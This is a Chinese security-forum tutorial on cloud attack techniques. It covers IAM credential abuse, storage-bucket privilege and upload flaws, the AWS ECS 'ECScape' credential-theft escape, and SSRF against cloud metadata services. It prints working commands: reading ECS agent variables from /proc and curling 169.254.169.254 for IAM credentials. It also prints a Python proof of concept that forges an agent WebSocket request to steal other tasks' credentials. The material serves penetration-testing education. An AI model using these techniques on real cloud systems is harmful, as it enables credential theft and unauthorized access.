问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
新型云服务安全攻防:漏洞挖掘技术与实践
渗透测试
随着云服务越来越多的普及和应用,云安全逐渐成为各大企业关注点及痛点,本文将从IAM凭据滥用、云上容器逃逸、云主机web应用漏洞三大方面结合具体实例漏洞分析进行云上相关安全问题的介绍。
前言: --- 随着云服务越来越多的普及和应用,云安全逐渐成为各大企业关注点及痛点,本文将从IAM凭据滥用、云上容器逃逸、云主机web应用漏洞三大方面结合具体实例漏洞分析进行云上相关安全问题的介绍。 一、IAM凭据滥用 --------- #### 1.1漏洞原理: 云厂商给用户提供云上IAM服务,其通过提供账号全生命周期管理、身份管理、认证、权限、审计以及联合身份等基本功能,加强了身份认证体系的安全性。而IAM(身份与访问管理)系统的核心风险在于权限过度分配和信任关系滥用。不正确的配置权限,如权限边界模糊,角色策略(Policy)中过度使用`*`通配符;信任策略(Trust Policy)配置错误,允许不可信实体担任高权限角色;权限传递失控,通过AssumeRole接口获取角色临时身份凭证跨账户授权时缺乏严格限制;给低权限用户配置高权限等都会造成一系列的安全问题。 攻击思路如下:  #### 1.2**漏洞利用:** #### **(1)存储桶权限配置错误** 存储桶权限配置错误导致可公开访问,访问存储桶爬取其中的敏感文件。   <https://github.com/jdr2021/OSSFileBrowse> #### (2)云服务认证Key泄漏(如AK/SK或者Security Token等) - Github仓库配置不当 - 云架构中的密码重用 - 针对云租户账号密码的社工攻击(如AWS Credential Harvesting钓鱼攻击) - 在公共存储桶中存在的密钥泄露 - 信任的关联第三方数据泄露 - 硬编码在网页、源码或移动APP中的AK/SK #### (3)低权限用户可访问高权限存储桶 低权限用户上传文件之存储桶,本身无整个存储桶的权限。  修改存储桶地址为根目录,返回整个桶的地址。  访问返回的存储桶地址即可获取整个存储桶的查看权限。  #### **(4)云服务任意文件上传、删除、覆盖。** 常见于上传头像、图片、文件等至云存储的业务,通过构造数据包上传文件至云存储,可上传任意文件,比如exe、html等。   尝试覆盖上传的文件。注意:filename以及上传的文件目录需要一致。一般js中会有系统文件,可以通过js获取同一桶下的文件地址,通过替换上传文件地址的方式覆盖原有的文件。  查看第一次上传的文件已经被覆盖。  二、 容器逃逸(AWS ECS ECScape漏洞) -------------------------- ### 2.1、漏洞原理 ECScape漏洞原理在于云服务对实例元数据服务的过度信任。在AWS环境中,每个EC2实例内部运行着一个特殊的元数据服务,位于固定IP地址169.254.169.254。容器内应用可以通过访问该服务获取实例自身的配置信息和临时安全凭证。这些凭证与附加到实例或任务的IAM角色相关联,用于访问其他AWS服务。正常情况下,每个容器只能获取其自身任务的凭证,实际发现ECS代理(Agent)与元数据服务之间存在一种特殊的信任关系:元数据服务会无条件信任来自ECS代理的请求。因此可以通过模拟ECS代理的身份,欺骗元数据服务返回同一实例上其他容器的IAM凭证。 ### 2.2、漏洞利用 本漏洞利用前提为拥有或提前获取容器群内某一容器控制权限。 第一步获取ECS集群信息: 通过特定命令获取ECS Agent通信端点(包括集群ARN ClusterArn、容器实例ARN ConTainerInstanceArn、运行中的任务列表TaskArns) 获取ECS Agent通信端点: ECS\_AGENT\_URI=$(cat /proc/$(pidof ecs-agent)/environ | tr '\\0' '\\n' | grep ECS\_AGENT\_URI | cut -d= -f2) echo "ECS Agent URI: $ECS\_AGENT\_URI" 通过查询ECS自省API获取任务列表<http://localhost:8080/v1/task1>  第二步:伪造ACS WebSocket请求 ECS Agent使用WebSocket协议与AWS ACS(Agent Communication Service)通信,攻击者可以通过cluster(目标ECS集群ARN)、containerInstance(当前容器实例ARN)、taskArn(要窃取凭证的目标ARN,此参数通过自省API获取)、sendCredentials=true(强制ECS Agent返回目标任务的IAM凭证)4个关键参数来伪造强制ECS Agent返回目标任务的IAM凭证。 获取EC2实例角色的临时凭证(用于签名) curl <http://169.254.169.254/latest/meta-data/iam/security-credentials/> 构造签名的WebSocket URL(模仿ECS Agent) wss://xxxxxx/ws?cluster=<ClusterArn>&containerInstance=<ContainerInstanceArn>&taskArn=<TargetTaskArn>&sendCredentials=true POC实例如下: import websockets import asyncio async def steal\_credentials(): # 伪造WebSocket URL(需先签名) ws\_url = "wss://ecs-a-1.us-east-1.amazonaws.com/ws?" \\ "cluster=arn:aws:ecs:us-east-1:xxxxx:cluster/my-cluster&" \\ "containerInstance=arn:aws:ecs:us-east-1:xxxx:container-instance/xxxxxx&" \\ "taskArn=arn:aws:ecs:us-east-1:xxxxxx:task/my-cluster/xxxxx&" \\ "sendCredentials=true" async with websockets.connect(ws\_url) as websocket: # 发送心跳维持连接 await websocket.send('{"type":"Ack","message":"keepalive"}') # 接收ECS Agent返回的凭证 credentials = await websocket.recv() print(f"Stolen IAM Credentials: {credentials}") asyncio.get\_event\_loop().run\_until\_complete(steal\_credentials()) 返回如下:  至此凭据获取成功。 拓展一些定义,感兴趣的话可以去官方文档中查看<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html>。   三、云主机中web应用漏洞 ------------- #### 3.1、云上ssrf漏洞利用 由于元数据服务部署在链路本地地址上,云厂商并没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的SSRF漏洞对实例的元数据服务进行访问。  云厂商元数据服务地址: - **阿里云** :`http://100.100.100.200/` - **腾讯云** :`http://metadata.tencentyun.com/` - **华为云** :`http://169.254.169.254/` - **亚马逊云** (AWS):`http://169.254.169.254/` 案例:检测某接口存在ssrf漏洞,根据返回响应server判断云厂商后,传入元数据服务地址突破边界读取元数据。  #### 3.2、跨目录文件上传 使用../../跨目录实现任意文件上传。  #### 3.3、逻辑漏洞 利用自动预编译越权获取存储桶中的文件信息。 用户存储桶只有上传权限,此时尝试越权获取更多存储桶权限。通过访问云服务根目录发现存在存储桶文件泄露,但是当直接访问存储桶内文件却提示deny,没有权限访问。而用户从云服务拉取文件的时候传参为云服务地址,此时通过前端自动预签名机制传入云服务根目录,从而拿到云服务传回的文件地址,访问既可以获取存储桶权限。借助用户正常业务请求,进而进一步查看桶内敏感信息。   访问预编译好的地址就可以成功获取云存储桶的其他文件。
发表于 2025-11-05 09:00:02
阅读 ( 422 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
81 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!